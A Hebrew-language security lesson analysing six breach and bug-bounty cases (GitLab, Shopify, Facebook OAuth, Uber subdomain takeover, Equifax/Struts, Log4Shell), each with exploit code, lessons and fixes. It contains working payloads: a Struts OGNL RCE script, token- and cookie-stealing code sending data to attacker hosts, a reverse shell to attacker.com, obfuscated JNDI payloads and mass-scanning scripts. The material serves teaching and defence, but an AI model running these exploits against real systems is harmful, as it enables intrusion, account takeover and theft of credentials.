ניתוח אירועים אמיתיים - Real-World Case Studies¶
מבוא¶
למידה מאירועים אמיתיים היא אחת הדרכים האפקטיביות ביותר לשיפור יכולות מחקר אבטחה. בשיעור זה ננתח שישה מקרים מפורסמים - מדוחות Bug Bounty ועד פריצות מסיביות.
מקרה 1 - השתלטות על חשבונות GitLab¶
רקע¶
חוקר אבטחה מצא שרשרת חולשות ב-GitLab שאפשרה השתלטות על כל חשבון בפלטפורמה.
הפירוט הטכני¶
חולשה א - Password Reset Token Leak¶
כשמשתמש ביקש איפוס סיסמה, ה-token נשלח לא רק במייל אלא גם הוחזר בheaders התגובה:
POST /users/password HTTP/1.1
Host: gitlab.com
Content-Type: application/json
{
"user": {"email": "victim@example.com"}
}
HTTP/1.1 200 OK
X-Request-Id: abc123
Set-Cookie: _gitlab_session=xyz...
...reset_password_token=LEAKED_TOKEN...
חולשה ב - CORS Misconfiguration¶
ב-GitLab היתה הגדרת CORS שאפשרה קריאה של headers תגובה ממקור חיצוני:
GET /api/v4/user HTTP/1.1
Host: gitlab.com
Origin: https://evil.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: X-Request-Id, ...
שרשרת הexploit¶
1. Attacker triggers a password reset request for the victim via CORS
2. The token comes back in the response headers
3. The CORS misconfiguration allows reading the headers
4. Attacker uses the token to reset the password
5. Attacker logs into the victim's account
// PoC - Attacker page
async function exploitGitlab(victimEmail) {
// Step 1: request a password reset
const resetResponse = await fetch('https://gitlab.com/users/password', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({user: {email: victimEmail}})
});
// Step 2: extract the token from the headers
const headers = Object.fromEntries(resetResponse.headers.entries());
const resetToken = extractToken(headers);
// Step 3: change the password with the token
await fetch('https://gitlab.com/users/password', {
method: 'PUT',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
user: {
reset_password_token: resetToken,
password: 'attacker_password',
password_confirmation: 'attacker_password'
}
})
});
console.log('[+] Account takeover complete');
}
לקחים¶
- אף פעם לא לחשוף tokens בheaders HTTP
- הגדרות CORS צריכות להיות מוגבלות למקורות ספציפיים
- ה-token לאיפוס סיסמה צריך להישלח רק במייל
- שרשרת של שתי חולשות "בינוניות" הפכה ל-Critical
תיקון¶
GitLab הסירה את ה-token מheaders התגובה והחמירה את מדיניות ה-CORS.
מקרה 2 - RCE ב-Shopify דרך SSRF¶
רקע¶
חוקר אבטחה גילה SSRF ב-Shopify שאפשרה גישה ל-metadata של Google Cloud ובסופו של דבר RCE.
הפירוט הטכני¶
חולשה א - SSRF בפיצ'ר ייבוא מוצרים¶
Shopify אפשרה לסוחרים לייבא מוצרים מ-URL חיצוני. הפיצ'ר לא סינן כראוי כתובות פנימיות:
POST /admin/api/products/import HTTP/1.1
Host: mystore.myshopify.com
Content-Type: application/json
{
"source_url": "http://metadata.google.internal/computeMetadata/v1/"
}
חולשה ב - גישה ל-GCP Metadata¶
בשונה מ-AWS, שירות ה-metadata של Google Cloud דרש header מיוחד. אבל הגרסה הישנה של ה-API (v1beta1) לא דרשה את הheader:
# New version - requires a header
GET /computeMetadata/v1/instance/service-accounts/default/token
Host: metadata.google.internal
Metadata-Flavor: Google
# Old version - without a header
GET /computeMetadata/v1beta1/instance/service-accounts/default/token
Host: metadata.google.internal
חולשה ג - הרשאות רחבות ל-Service Account¶
ה-Service Account שרץ על המופע היה בעל הרשאות רחבות מדי:
שרשרת הexploit¶
import requests
# Step 1: SSRF to access metadata
ssrf_url = "http://metadata.google.internal/computeMetadata/v1beta1/"
endpoints = [
"instance/service-accounts/default/token",
"instance/service-accounts/default/scopes",
"project/project-id",
"instance/zone"
]
for endpoint in endpoints:
response = requests.post(
'https://mystore.myshopify.com/admin/api/products/import',
json={'source_url': f'{ssrf_url}{endpoint}'},
headers={'Authorization': 'Bearer SHOP_TOKEN'}
)
print(f"[*] {endpoint}: {response.text}")
# Step 2: use the stolen token
gcp_token = "ya29.XXXXXXXXXXXXXXX"
# Step 3: check permissions
scopes = requests.get(
f'{ssrf_url}instance/service-accounts/default/scopes'
)
# Result: ['https://www.googleapis.com/auth/cloud-platform']
# Full permission!
# Step 4: access the Kubernetes cluster
k8s_response = requests.get(
'https://container.googleapis.com/v1/projects/shopify-prod/zones/us-east1-b/clusters',
headers={'Authorization': f'Bearer {gcp_token}'}
)
print(f"[+] Clusters: {k8s_response.json()}")
לקחים¶
- SSRF בסביבות ענן הוא קריטי ביותר - גישה ל-metadata שווה credentials
- שימוש ב-IMDSv2 (AWS) או דרישת headers (GCP) הכרחי
- Service Accounts צריכים הרשאות מינימליות (Least Privilege)
- פיצ'רים שמקבלים URL מהמשתמש חייבים סינון קפדני
תיקון¶
Shopify הוסיפה סינון של כתובות פנימיות, חסמה גישה ל-metadata endpoint, וצמצמה את הרשאות ה-Service Account.
מקרה 3 - חולשת OAuth בפייסבוק¶
רקע¶
חוקר אבטחה מצא פגם ביישום ה-OAuth של פייסבוק שאפשר גניבת access tokens של כל משתמש.
הפירוט הטכני¶
הפגם ביישום¶
פייסבוק אפשרה לאפליקציות צד שלישי להשתמש ב-OAuth לקבלת גישה. הבעיה היתה בוולידציה של redirect_uri:
Registered URI: https://app.example.com/callback
Received URI: https://app.example.com/callback/../redirect?url=https://evil.com
הפלטפורמה ביצעה path normalization אחרי הבדיקה, מה שאפשר bypass.
זרימת התקיפה¶
# Step 1: prepare the link
https://www.facebook.com/dialog/oauth?
client_id=APP_ID&
redirect_uri=https://app.example.com/callback/../redirect?url=https://evil.com&
response_type=token&
scope=email,public_profile
# Step 2: Facebook verifies - the redirect_uri starts with the registered URI
# The check passes because the path starts with /callback
# Step 3: after path normalization, the redirect lands on:
https://app.example.com/redirect?url=https://evil.com#access_token=USER_TOKEN
# Step 4: the app's redirect goes to:
https://evil.com#access_token=USER_TOKEN
שרת הגניבה¶
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route('/steal')
def steal_token():
# The token arrives in the fragment (#)
# Need JavaScript to extract it
return '''
<script>
if (window.location.hash) {
var token = window.location.hash.substring(1);
var params = new URLSearchParams(token);
var accessToken = params.get('access_token');
// Send to the server
fetch('/collect?token=' + accessToken);
// Immediate use of the token
fetch('https://graph.facebook.com/me?access_token=' + accessToken)
.then(r => r.json())
.then(data => {
fetch('/collect', {
method: 'POST',
body: JSON.stringify({token: accessToken, user: data})
});
});
}
</script>
'''
@app.route('/collect', methods=['GET', 'POST'])
def collect():
if request.method == 'GET':
token = request.args.get('token')
else:
data = request.get_json()
token = data.get('token')
print(f"[+] Token: {token}")
# Actions with the token
me = requests.get(f'https://graph.facebook.com/me?'
f'fields=id,name,email&access_token={token}')
print(f"[+] User: {me.json()}")
return "OK"
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')
לקחים¶
- וולידציה של redirect_uri חייבת להיות מדויקת - exact match
- אסור לבצע path normalization אחרי הבדיקה
- יש לבדוק גם path traversal (../) ב-URI
- תהליך Responsible Disclosure עם פייסבוק היה מקצועי - תגובה מהירה ותיקון
תיקון¶
פייסבוק שינתה את הוולידציה ל-exact match של ה-redirect_uri המלא, כולל path normalization לפני הבדיקה.
מקרה 4 - השתלטות על Subdomain של Uber¶
רקע¶
חוקר אבטחה גילה שרשומות DNS של Uber הצביעו על שירותים שכבר לא היו בשימוש, מה שאפשר השתלטות על תת-דומיינים.
הפירוט הטכני¶
זיהוי רשומות DNS תלויות¶
# Scan subdomains
subfinder -d uber.com | while read subdomain; do
# Check CNAME
cname=$(dig +short CNAME "$subdomain")
if [ -n "$cname" ]; then
# Check if the target exists
http_code=$(curl -s -o /dev/null -w "%{http_code}" "http://$subdomain" 2>/dev/null)
if [ "$http_code" = "000" ] || echo "$http_code" | grep -q "404"; then
echo "[!] Potential: $subdomain -> $cname (HTTP: $http_code)"
fi
fi
done
מה שנמצא¶
ההפצה ב-CloudFront כבר לא היתה בשימוש, אבל רשומת ה-DNS עדיין הצביעה עליה.
הexploit¶
1. Attacker creates a new CloudFront distribution
2. Sets saostatic.uber.com as an Alternate Domain Name
3. CloudFront accepts it - the domain isn't taken
4. Attacker uploads content to their server via the distribution
5. Anyone who browses to saostatic.uber.com sees the attacker's content
אימפקט¶
# Example exploit - stealing cookies
# The site saostatic.uber.com can access uber.com's cookies
# If the cookies are set on .uber.com
# Content the attacker uploads:
malicious_page = """
<html>
<script>
// Steal uber.com's cookies
document.location = 'https://attacker.com/steal?' + document.cookie;
</script>
</html>
"""
# In addition, the site can be used for:
# - Phishing (looks legitimate - uber.com)
# - Serving malware
# - man-in-the-middle on communication with uber.com
כלי לבדיקת Subdomain Takeover¶
import dns.resolver
import requests
from concurrent.futures import ThreadPoolExecutor
# Services that can be taken over
FINGERPRINTS = {
'cloudfront.net': 'The request could not be satisfied',
'herokuapp.com': 'No such app',
'github.io': "There isn't a GitHub Pages site here",
'shopify.com': 'Sorry, this shop is currently unavailable',
's3.amazonaws.com': 'NoSuchBucket',
'azurewebsites.net': 'Error 404 - Web app not found',
'cloudapp.net': 'NXDOMAIN',
'zendesk.com': 'Help Center Closed',
'fastly.net': 'Fastly error: unknown domain',
}
def check_takeover(subdomain):
try:
# Check CNAME
answers = dns.resolver.resolve(subdomain, 'CNAME')
for rdata in answers:
cname = str(rdata.target).rstrip('.')
for service, fingerprint in FINGERPRINTS.items():
if service in cname:
try:
response = requests.get(
f'http://{subdomain}', timeout=5
)
if fingerprint in response.text:
return {
'subdomain': subdomain,
'cname': cname,
'service': service,
'vulnerable': True
}
except Exception:
pass
except Exception:
pass
return None
# Scan
subdomains = open('uber_subdomains.txt').read().splitlines()
with ThreadPoolExecutor(max_workers=20) as executor:
results = list(executor.map(check_takeover, subdomains))
vulnerable = [r for r in results if r and r['vulnerable']]
for v in vulnerable:
print(f"[!] {v['subdomain']} -> {v['cname']} ({v['service']})")
לקחים¶
- ניהול DNS חייב לכלול ניקוי רשומות שאינן בשימוש
- בדיקות תקופתיות של subdomain takeover הן הכרחיות
- השימוש בשירותי ענן דורש תשומת לב לרשומות DNS
- השפעה על משתמשים: פישינג, גניבת cookies, והשפלת מותג
תיקון¶
Uber הסירה את רשומות ה-DNS התלויות ויישמה תהליך אוטומטי לזיהוי רשומות כאלה.
מקרה 5 - Apache Struts RCE ופריצת Equifax¶
רקע¶
ב-2017, חולשת RCE ב-Apache Struts (CVE-2017-5638) נוצלה לפריצת Equifax - אחת הפריצות הגדולות בהיסטוריה. מידע אישי של 147 מיליון אנשים נחשף.
הפירוט הטכני¶
חולשת OGNL Injection¶
Apache Struts השתמש בשפת OGNL (Object-Graph Navigation Language) לעיבוד ביטויים. כשה-Content-Type לא היה תקין, הודעת השגיאה עברה עיבוד כביטוי OGNL:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: target.com
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
ה-Payload בצורה מובנת¶
// Breaking down the payload:
// 1. Set access
#dm = @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
#_memberAccess = #dm
// 2. Clear the exclusion lists
#ognlUtil.getExcludedPackageNames().clear()
#ognlUtil.getExcludedClasses().clear()
// 3. Set the command
#cmd = 'id'
// 4. Detect the operating system
#iswin = @java.lang.System@getProperty('os.name').toLowerCase().contains('win')
// 5. Build the command
#cmds = #iswin ? {'cmd', '/c', #cmd} : {'/bin/bash', '-c', #cmd}
// 6. Execute
#process = new java.lang.ProcessBuilder(#cmds).start()
// 7. Return the output
IOUtils.copy(#process.getInputStream(), response.getOutputStream())
סקריפט exploit¶
import requests
def exploit_struts(target_url, command):
payload = (
"%{(#_='multipart/form-data')."
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
"(#_memberAccess?(#_memberAccess=#dm):"
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
"(#ognlUtil.getExcludedPackageNames().clear())."
"(#ognlUtil.getExcludedClasses().clear())."
"(#context.setMemberAccess(#dm))))."
f"(#cmd='{command}')."
"(#iswin=(@java.lang.System@getProperty('os.name')"
".toLowerCase().contains('win')))."
"(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
"(#p=new java.lang.ProcessBuilder(#cmds))."
"(#p.redirectErrorStream(true))."
"(#process=#p.start())."
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse()"
".getOutputStream()))."
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
"(#ros.flush())}"
)
headers = {'Content-Type': payload}
response = requests.get(target_url, headers=headers)
return response.text
# Usage
result = exploit_struts('https://target.com/struts2-showcase/', 'id')
print(result)
ציר הזמן של פריצת Equifax¶
March 2017: Apache releases a fix for CVE-2017-5638
March-May 2017: Equifax doesn't update its servers
May 2017: Attackers exploit the vulnerability
May-July 2017: Attackers exfiltrate data on 147 million people
July 2017: Equifax discovers the breach
September 2017: The breach becomes public
לקחים¶
- עדכוני אבטחה חייבים להיות מיושמים מיד
- ניטור של CVE חדשים הוא קריטי
- Defense in depth - שכבות הגנה מרובות
- אפילו חולשה אחת לא מטופלת יכולה להוביל לאסון
מקרה 6 - Log4Shell - CVE-2021-44228¶
רקע¶
חולשת Log4Shell (CVE-2021-44228) ב-Apache Log4j היתה אחת החולשות ההרסניות ביותר שהתגלו אי פעם. ספריית הלוגינג הנפוצה של Java אפשרה RCE דרך injection JNDI.
הפירוט הטכני¶
מנגנון ה-JNDI Injection¶
ספריית Log4j תמכה ב-lookup של משתנים בזמן כתיבת לוג. ביניהם - JNDI lookups:
// Vulnerable code - any place that logs user input
logger.info("User logged in: " + username);
logger.error("Failed login for: " + request.getHeader("User-Agent"));
אם הקלט מכיל ביטוי JNDI:
Log4j מנסה לבצע lookup ל-LDAP server של התוקף.
וקטורי injection¶
# Via User-Agent
GET / HTTP/1.1
Host: target.com
User-Agent: ${jndi:ldap://attacker.com/a}
# Via a search field
GET /search?q=${jndi:ldap://attacker.com/a} HTTP/1.1
# Via a username
POST /login HTTP/1.1
Content-Type: application/json
{"username": "${jndi:ldap://attacker.com/a}", "password": "test"}
# Via custom headers
GET / HTTP/1.1
X-Forwarded-For: ${jndi:ldap://attacker.com/a}
Referer: ${jndi:ldap://attacker.com/a}
X-Api-Version: ${jndi:ldap://attacker.com/a}
שרשרת הexploit המלאה¶
1. Attacker sends a payload with ${jndi:ldap://attacker.com/exploit}
2. Log4j resolves the expression and makes an LDAP connection to the attacker's server
3. The LDAP server returns a Reference to a Java class
4. The application downloads and runs the malicious Java class
5. RCE - arbitrary code execution on the server
שרת LDAP זדוני¶
# Use marshalsec
# java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com:8888/#Exploit"
# The malicious class
# Exploit.java:
"""
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c",
"bash -i >& /dev/tcp/attacker.com/4444 0>&1"};
Process proc = rt.exec(commands);
} catch (Exception e) {
e.printStackTrace();
}
}
}
"""
סקריפט סריקה¶
import requests
from concurrent.futures import ThreadPoolExecutor
CALLBACK = "attacker.burpcollaborator.net"
PAYLOADS = [
"${jndi:ldap://CALLBACK/a}",
"${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://CALLBACK/a}",
"${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://CALLBACK/a}",
"${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//CALLBACK/a}",
"${jndi:ldap://CALLBACK/a}",
"${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}mi://CALLBACK/a}",
]
INJECTION_POINTS = [
'User-Agent',
'X-Forwarded-For',
'Referer',
'X-Api-Version',
'Accept-Language',
'Authorization',
]
def scan_target(url):
results = []
for payload_template in PAYLOADS:
payload = payload_template.replace('CALLBACK', CALLBACK)
# Injection via headers
for header in INJECTION_POINTS:
try:
response = requests.get(url, headers={header: payload}, timeout=5)
results.append({
'url': url,
'header': header,
'payload': payload,
'status': response.status_code
})
except Exception:
pass
# Injection via parameters
try:
requests.get(f"{url}?q={payload}", timeout=5)
except Exception:
pass
return results
# Scan the list of targets
targets = open('targets.txt').read().splitlines()
with ThreadPoolExecutor(max_workers=10) as executor:
all_results = list(executor.map(scan_target, targets))
print("[*] Check Burp Collaborator / DNS log for results")
האימפקט הגלובלי¶
Affected services:
- Apache Solr
- Apache Druid
- Apache Flink
- ElasticSearch
- VMware vCenter
- Minecraft servers
- iCloud
- Steam
- Twitter
- Amazon
- Cloudflare
- and hundreds of thousands more services
לקחים¶
- תלות בספריות צד שלישי היא סיכון ענק
- ניטור של CVE חדשים הוא קריטי - Log4Shell נוצל תוך שעות מהפרסום
- Defense in depth: גם אם יש חולשה, הגבלת תקשורת יוצאת יכולה למנוע exploit
- עדכון ספריות צריך להיות תהליך מתמשך ואוטומטי
- הנזק הגלובלי של חולשה בספרייה נפוצה הוא עצום
תיקון¶
Apache שחררה Log4j 2.17.0 שמשביתה JNDI lookups כברירת מחדל. בגרסאות ישנות יותר, ניתן היה להגדיר log4j2.formatMsgNoLookups=true כעדכון זמני.
סיכום - מה אפשר ללמוד מכל המקרים¶
Case Main vulnerability Main lesson
============================================================
GitLab Token Leak + CORS Don't expose sensitive data in headers
Shopify SSRF + Cloud Meta Filter internal URLs, minimize permissions
Facebook OAuth Redirect Exact validation of redirect_uri
Uber Dangling DNS Clean up unused DNS records
Equifax/Struts OGNL Injection Update security immediately
Log4Shell JNDI Injection Manage dependencies, restrict outbound traffic
עקרונות משותפים¶
- חולשות קטנות הופכות לגדולות כשמשרשרים אותן
- תשתית ענן מגדילה את שטח התקיפה
- עדכוני אבטחה הם קריטיים ודחופים
- הגנה בשכבות מפחיתה את האימפקט של חולשה בודדת
- חוקרים טובים מסתכלים על התמונה הגדולה - לא רק על חולשה אחת